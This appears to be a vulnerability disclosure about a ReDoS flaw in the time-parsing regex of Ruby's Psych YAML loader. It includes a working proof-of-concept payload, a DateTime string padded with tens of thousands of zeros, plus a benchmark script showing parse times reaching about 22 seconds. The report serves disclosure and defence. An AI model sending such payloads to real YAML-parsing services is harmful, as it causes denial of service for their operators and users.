ReDoS in Psych

How it was found

Hello, I found a pattern that occur ReDoS in Psych.load.

https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L113 https://github.com/ruby/psych/blob/v4.0.3/lib/psych/visitors/to_ruby.rb#L83

    def parse_time string
      klass = class_loader.load 'Time'

      date, time = *(string.split(/[ tT]/, 2))
      (yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
      md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)

      (hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
      us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000

/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/ is vulnerable.

It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).

{F1627996}

PoC

❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

❯ irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'date'
=> true

irb(main):003:0> YAML.dump(DateTime.now)
=> "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"

irb(main):004:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
=> #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>

irb(main):005:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS!
=> #<DateTime: 2022-02-22T09:00:00+09:00 ((2459633j,0s,0n),+32400s,2299161j)>

benchmark

datetime_benchmark.rb

require 'benchmark'
require 'yaml'
require 'date'
  
def datetime_parse(length)
  text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
  YAML.load(text , permitted_classes: [Time, DateTime])
end

Benchmark.bm do |x|
  x.report { datetime_parse(100) }
  x.report { datetime_parse(1000) }
  x.report { datetime_parse(10000) }
  x.report { datetime_parse(100000) }
end

❯ ruby datetime_benchmark.rb
       user     system      total        real
   0.000215   0.000212   0.000427 (  0.000422)
   0.002306   0.000005   0.002311 (  0.002314)
   0.219717   0.000125   0.219842 (  0.219844)
  21.904961   0.041427  21.946388 ( 21.946604)

Impact

ReDoS occurs when DateTime deserialization is allowed.

The impact is limited as the attack string never matches the value of TIME.(https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L50 )